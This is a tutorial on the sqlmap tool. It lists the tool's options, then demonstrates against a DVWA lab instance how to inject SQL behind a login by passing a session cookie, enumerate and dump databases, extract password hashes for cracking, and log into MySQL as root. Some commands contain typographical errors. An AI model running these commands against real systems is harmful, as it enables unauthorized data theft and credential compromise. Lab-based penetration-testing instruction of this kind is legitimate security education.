Normally users use
sqlmap for the url which are available before login. But if there is a
possibility of sql injection on a url which appear after login then what to do.
If the user try to run sqlmap for the url then normally he gets 302 error.
There are multiple way to use sqlmap. We can use sqlmap for after login url
also. Here I list down almost all possible way to use sqlmap. And in
demonstration I am gonna show how use sqlmap for after login url with cookie
option.
SQLMap is a free and an open source tool that is used to detect and
exploit SQL injection flaws. It has very nifty features that automate the
process of detection and exploitation. SQLmap is also used for database
fingerprinting, access underlying file system and execute sql commands.
You can download
SQLmap from SourceForge here: http://sourceforge.net/projects/sqlmap/
SQLmap Command
Here is the full list of
available options:
Options:
1.
–version show program’s version number and exit
2.
-h, –help show this help message and
exit
3.
-v VERBOSE Verbosity level: 0-6
(default 1)
General:
These options can
be used to set some general working parameters.
1.
-t TRAFFICFILE Log all HTTP traffic
into a textual file
2.
–batch Never ask for user input, use the default behaviour
3.
–charset=CHARSET Force character encoding used for data retrieval
4.
–check-tor Check to see if Tor is used properly
5.
–crawl=CRAWLDEPTH Crawl the website starting from the target url
6.
–csv-del=CSVDEL Delimiting character used in CSV output (default
“,”)
7.
–eta Display for each output the estimated time of arrival
8.
–flush-session Flush session file for current target
9.
–forms Parse and test forms on target url
10.
–fresh-queries Ignores query results stored in session file
11.
–hex Uses DBMS hex function(s) for data retrieval
12.
–parse-errors Parse and display DBMS error messages from responses
13.
–replicate Replicate dumped data into a sqlite3 database
14.
–save Save options to a configuration INI file
15.
–tor Use Tor anonymity network
16.
–tor-port=TORPORT Set Tor proxy port other than default
17. –tor-type=TORTYPE Set Tor proxy type
(HTTP – default, SOCKS4 or SOCKS5)
18. –update Update sqlmap
Target
To specify the
target options these are the sqlmap options which can be used to get the
desired result from sql injection. there must be one options has to be specify
to use the sqlmap.
-d DIRECT Direct
connection to the database
1.
-u URL, –url=URL Target URL (specify
the target url)
2.
-l LOGFILE Parse targets from Burp or
WebScarab proxy logs
3.
-m BULKFILE Scan multiple targets
enlisted in a given textual file
4.
-r REQUESTFILE Load HTTP request from
a file
5.
-g GOOGLEDORK Process Google dork
results as target URLs
6.
-c CONFIGFILE Load options from a
configuration INI file
Request:
There are multiple
option in sqlmap to specify how to connect to the target url or target address.
These options can be used to specify how to connect to the target URL. For the
url's, which appear after authentication or after login. We can use cookie
parameter to perform attack on the url. Sqlmap can also read the cookie from a
file the can be the request and response captured in burp or ZAP and saved as a
text file.
1.
–data=DATA Data string to be sent through POST
2.
–param-del=PDEL Character used for splitting parameter values
3.
–cookie=COOKIE HTTP Cookie header
4.
–load-cookies=LOC File containing cookies in Netscape/wget format
5.
–cookie-urlencode URL Encode generated cookie injections
6.
–user-agent=AGENT HTTP User-Agent header
7.
–random-agent Use randomly selected HTTP User-Agent header
8.
–randomize=RPARAM Randomly change value for given parameter(s)
9.
–force-ssl Force usage of SSL/HTTPS requests
10.
–host=HOST HTTP Host header
11.
–referer=REFERER HTTP Referer header
12.
–headers=HEADERS Extra headers (e.g. “Accept-Language: frnETag:
123″)
13.
–auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
14.
–auth-cred=ACRED HTTP authentication credentials (name:password)
15.
–proxy=PROXY Use a HTTP proxy to connect to the target url
16.
–proxy-cred=PCRED HTTP proxy authentication credentials
(name:password)
17. –delay=DELAY Delay in seconds between
each HTTP request
18.
–skip-urlencode Skip URL encoding of POST data
19.
–retries=RETRIES Retries when the connection timeouts (default 3)
20.
–scope=SCOPE Regexp to filter targets from provided proxy log
21.
–safe-url=SAFURL Url address to visit frequently during testing
22. –safe-freq=SAFREQ Test requests between
two visits to a given safe url
23. –timeout=TIMEOUT Seconds to wait before timeout connection
Injection:
SQLMap also accept
user defined sql injection payload. In SQLMap we can set which parameter we
want to test for sql injections. These options can be used to specify which
parameters to test for, and provide custom injection payloads and optional
tampering scripts
1.
-p TESTPARAMETER Testable
parameter(s)
2.
–dbms=DBMS Force back-end DBMS to this value
3.
–os=OS Force back-end DBMS operating system to this value
4.
–invalid-bignum Use big numbers for invalidating values
5.
–invalid-logical Use logical operations for invalidating values
6.
–no-cast Turn off payload casting mechanism
7.
–prefix=PREFIX Injection payload prefix string
8.
–suffix=SUFFIX Injection payload suffix string
9.
–skip=SKIP Skip testing for given parameter(s)
10. –tamper=TAMPER Use given script(s) for
tampering injection data
Techniques:
These options can
be used to tweak testing of specific SQL injection techniques.
1.
–technique=TECH SQL injection techniques to test for (default
“BEUST”)
2.
–time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
3.
–union-cols=UCOLS Range of columns to test for UNION query SQL
injection
4.
–union-char=UCHAR Character to use for bruteforcing number of
columns
5.
–dns-domain=DNAME Domain name used for DNS exfiltration attack
Enumeration:
These options can
be used to enumerate the back-end database management system information,
structure and data contained in the tables. Moreover you can run your own SQL
statements.
1.
-b, –banner Retrieve DBMS banner
2.
–current-user Retrieve DBMS current user
3.
–current-db Retrieve DBMS current database
4.
–is-dba Detect if the DBMS current user is DBA
5.
–users Enumerate DBMS users
6.
–passwords Enumerate DBMS users password hashes
7.
–privileges Enumerate DBMS users privileges
8.
–roles Enumerate DBMS users roles
9.
–dbs Enumerate DBMS databases
10.
–tables Enumerate DBMS database tables
11.
–columns Enumerate DBMS database table columns
12.
–schema Enumerate DBMS schema
13.
–count Retrieve number of entries for table(s)
14.
–dump Dump DBMS database table entries
15.
–dump-all Dump all DBMS databases tables entries
16. –search Search column(s), table(s)
and/or database name(s)
17. -D DB DBMS database to enumerate
18. -T TBL DBMS database table to enumerate
19. -C COL DBMS database table column to enumerate
20.
-U USER DBMS user to enumerate
21.
–exclude-sysdbs Exclude DBMS system databases when enumerating
tables
22.
–start=LIMITSTART First query output entry to retrieve
23.
–stop=LIMITSTOP Last query output entry to retrieve
24.
–first=FIRSTCHAR First query output word character to retrieve
25.
–last=LASTCHAR Last query output word character to retrieve
26.
–sql-query=QUERY SQL statement to be executed
27. –sql-shell Prompt for an interactive
SQL shell
Windows registry
access:
These options can
be used to access the back-end database management system Windows registry.
1.
–reg-read Read a Windows registry key value
2.
–reg-add Write a Windows registry key value data
3.
–reg-del Delete a Windows registry key value
4.
–reg-key=REGKEY Windows registry key
5.
–reg-value=REGVAL Windows registry key value
6.
–reg-data=REGDATA Windows registry key value data
7.
–reg-type=REGTYPE Windows registry key value type
Miscellaneous:
1.
-z MNEMONICS Use short mnemonics
(e.g. “flu,bat,ban,tec=EU”)
2.
–beep Sound alert when SQL injection found
3.
–check-payload Offline WAF/IPS/IDS payload detection testing
4.
–check-waf Check for existence of WAF/IPS/IDS protection
5.
–cleanup Clean up the DBMS by sqlmap specific UDF and tables
6.
–dependencies Check for missing sqlmap dependencies
7.
–disable-hash Disable password hash cracking mechanism
8.
–disable-like Disable LIKE search of identificator names
9.
–gpage=GOOGLEPAGE Use Google dork results from specified page
number
10.
–mobile Imitate smartphone through HTTP User-Agent header
11.
–page-rank Display page rank (PR) for Google dork results
12.
–purge-output Safely remove all content from output directory
13.
–smart Conduct through tests only if positive heuristic(s)
14.
–test-filter=TSTF Select tests by payloads and/or titles (e.g. ROW)
15.
–wizard Simple wizard interface for beginner users
Demonstration
As I am using kali
linux and sqlmap runs beautifully in this operating system. I am using
Virtualbox to run DVWA application in linux based operating system. http://172.16.221.128/dvwa/ is the url where we are going to attack. The application
credentials are.
Username : admin
Password:
password.
After successful login we will navigate to the url:
http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
If we try sqlmap on the same url with the command:
sqlmap -u http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# --dbs
sqlmap -u http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# --dbs
here –dbs is to find databases.
it will give error like this:
As all the security analyst or application security tester all are
familiar with burp-suite. If you are not then please go through a burp poxy
setting tutorial. If you now how capture a request in proxy (burp-suite) then
capture the request in burp and note down the cookie values.
Here the cookie values are :
security=low;
PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9;
PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9;
Now try the sqlmap with this comman:
sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
–dbs
Used Options:
1. –dbs:
Enumerate DBMS databases
2. --cookie: cookie value
3. -u : url
And follow the process.
Or you can try with forms options. The command will be like:
sqlmap -u
"http://172.16.221.128/dvwa/vulnerabilities/sqli/" --forms
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
--dbs
Used Options:
1. –dbs: Enumerate DBMS databases
these two commands will give the same result.
The
out put will be like this 
As we can see the list of databases, now try to find a tables in
database dvwa. The command will like:
sqlmap -u
"http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
-D dvwa –tables
Used
Options:
1. -D : user supplied database name
2. – tables : enumerate list of tables in the user supplied database
And the output will be like this.
Now to see what inside the users tables the command will be like
this:
sqlmap -u
"http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
-D dvwa -T users –dump
Used
Options:
1. -T: user supplied table name
2. – dump : get all the data inside the user supplied table.
The output will be like.
OK Lets have some more fun.
To find the current database username try this command.
sqlmap -u
"http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
–current-user
Used
Options:
--current-user
: enumerate the current database user name 
This will show you the current database user name. The output will
contain some more information like, PHP version, underline operating system,
version of the mysql database. Here the username is root.
The following command will enumerate all DBMS users and password
hashes that can crack it later for any further attacks.
sqlmap -u "http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
--string=”Surname” –users –password”
Used
Options:
1. –string : String to match in page when the query is valid
2. –users
: Enumerate DBMS users
3. –password
: Enumerate DBMS users password hashes.
Or get the hashes and try to crack using different methods like
john the ripper or any other hash crack tools.
As I try john the ripper for the hash of username smithy.
Passsword is admin.
Lets have some more fun.
By using the command:
sqlmap -u
"http://172.16.221.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
--cookie="PHPSESSID=4c54663dbeac686069a4fd9f05f1b3f9; security=low"
–current-use
we are able to know that the current-user is root. Noe try to
connect using mysql console.
To connect using mysql console the command will be
mysql -h 172.16.221.128 -u
root -p
Now we have full access in the database. Attacker can create
update or delete the all records.
